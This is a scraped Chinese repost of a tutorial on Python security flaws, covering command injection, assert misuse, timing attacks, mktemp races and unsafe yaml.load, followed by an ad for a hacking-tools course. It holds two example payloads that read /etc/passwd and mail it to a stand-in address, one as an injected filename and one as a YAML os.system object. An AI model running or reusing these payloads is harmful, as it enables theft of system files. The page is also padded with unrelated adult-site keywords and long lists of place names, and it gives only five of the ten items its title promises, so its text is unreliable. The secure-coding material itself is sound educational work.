最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

Python 開發(fā)中 10 個常見的安全漏洞

2020-09-22 21:58 作者:安全牛課堂  | 我要投稿

1. 輸入注入(Input injection)

注入攻擊非常廣泛而且很常見,注入有很多種類,它們影響所有的語言、框架和環(huán)境。

命令注入可能在使用popen、subprocess、os.system 調(diào)用一個進(jìn)程并從變量中獲取參數(shù)時發(fā)生,當(dāng)調(diào)用本地命令時,有人可能會將某些值設(shè)置為惡意值。

下面是個簡單的腳本,使用用戶提供的文件名調(diào)用子進(jìn)程:

import?subprocess

def?transcode_file(request,?filename):

????command?=?'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)

????subprocess.call(command,?shell=True)??# a bad idea!

攻擊者會將filename 的值設(shè)置為“; cat / etc / passwd | mailthem@domain.com?或者其他同樣危險的東西。

修復(fù):

如果你使用了Web 框架,可以用附帶的實用程序?qū)斎脒M(jìn)行清理,除非有充分的理由,否則不要手動構(gòu)建 SQL 查詢,大多數(shù) ORM 都具有內(nèi)置的消毒方法。

對于shell,可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。

2. assert 語句(Assert statements)

不要使用assert 語句來防止用戶訪問不應(yīng)訪問的代碼段。

def?foo(request,?user):

???assert?user.is_admin,?“user?does?not?have?access”

???# secure code...

現(xiàn)在,默認(rèn)情況下,Python 以 __debug__ 為 true 來執(zhí)行腳本,但在生產(chǎn)環(huán)境中,通常使用優(yōu)化運(yùn)行,這將會跳過 assert 語句并直接轉(zhuǎn)到安全代碼,而不管用戶是否是is_admin。

修復(fù):

僅在與其他開發(fā)人員進(jìn)行通信時使用assert 語句,例如在單元測試中或為了防止不正確的 API 使用。

3. 計時攻擊(Timing attacks)

計時攻擊本質(zhì)上是一種通過計時比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù)Web 應(yīng)用程序涉及可變延遲,因此幾乎不可能在 HTTP Web 服務(wù)器上編寫計時攻擊。

但是,如果你有提示輸入密碼的命令行應(yīng)用程序,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進(jìn)行比較所需的時間。

修復(fù):

使用在Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

4.臨時文件(Temporary files)

要在Python 中創(chuàng)建臨時文件,通常使用 mktemp() 函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。 「這是不安全的,因為另一個進(jìn)程可能會在調(diào)用 mktemp() 和隨后嘗試通過第一個進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件?!惯@意味著應(yīng)用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。

如果調(diào)用不正確的方法,則最新版本的Python 會拋出運(yùn)行警告。

修復(fù):

如果需要生成臨時文件,請使用tempfile 模塊并使用 mkstemp。

5. 使用 yaml.load

引用PyYAML 文檔:

警告:使用從不可信源接收到的數(shù)據(jù)來調(diào)用yaml.load 是不安全的! yaml.load 和pickle.load 一樣強(qiáng)大,所以可以調(diào)用任何 Python 函數(shù)。

在流行的Python 項目 Ansible 中找到的這個美麗的例子,你可以將此值作為(有效)YAML 提供給 Ansible Vault,它使用文件中提供的參數(shù)調(diào)用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,從用戶提供的值中有效地加載YAML 文件會讓應(yīng)用對攻擊打開大門。

編寫安全的代碼很困難,當(dāng)你學(xué)習(xí)一門編程語言、一個模塊或框架時,你會學(xué)習(xí)其使用方法。在考慮安全性時,你需要考慮如何避免代碼被濫用。從Python語言開發(fā)基礎(chǔ)講起,由淺入深,講解Python開發(fā)信息安全工具,專門為即將從事網(wǎng)絡(luò)安全、信息安全和已經(jīng)從事網(wǎng)絡(luò)安全、信息安全的專業(yè)人員精心制作,主要講解內(nèi)容有Python語言的歷史、應(yīng)用、風(fēng)格、特點(diǎn)、入門、開發(fā)實例、python GUI編程、網(wǎng)絡(luò)編程、數(shù)據(jù)庫編程、爬蟲編程、以及python開發(fā)掃描器、爆破工具、驗證碼識別、編寫POC、編寫木馬等,通過學(xué)習(xí)能夠深入了解最前沿的Python語言開發(fā)以及爬蟲工具開發(fā)、黑客工具開發(fā)等,是學(xué)習(xí)python和網(wǎng)絡(luò)及信息安全方面人員必備之選。

課程推薦:Python 信息安全工具開發(fā)

地址:https://www.aqniukt.com/course/7979


Python 開發(fā)中 10 個常見的安全漏洞的評論 (共 條)

分享到微博請遵守國家法律
玛多县| 屏山县| 蒲城县| 盘山县| 雷州市| 孟州市| 嘉鱼县| 乌兰县| 盐边县| 双鸭山市| 崇礼县| 和平区| 九寨沟县| 县级市| 淮南市| 双鸭山市| 广宁县| 陵川县| 巴中市| 达州市| 中宁县| 黎平县| 郑州市| 章丘市| 田阳县| 仲巴县| 青河县| 葫芦岛市| 黑龙江省| 随州市| 丘北县| 山阴县| 慈溪市| 长丰县| 定襄县| 万山特区| 云霄县| 邳州市| 若羌县| 湘潭市| 白河县|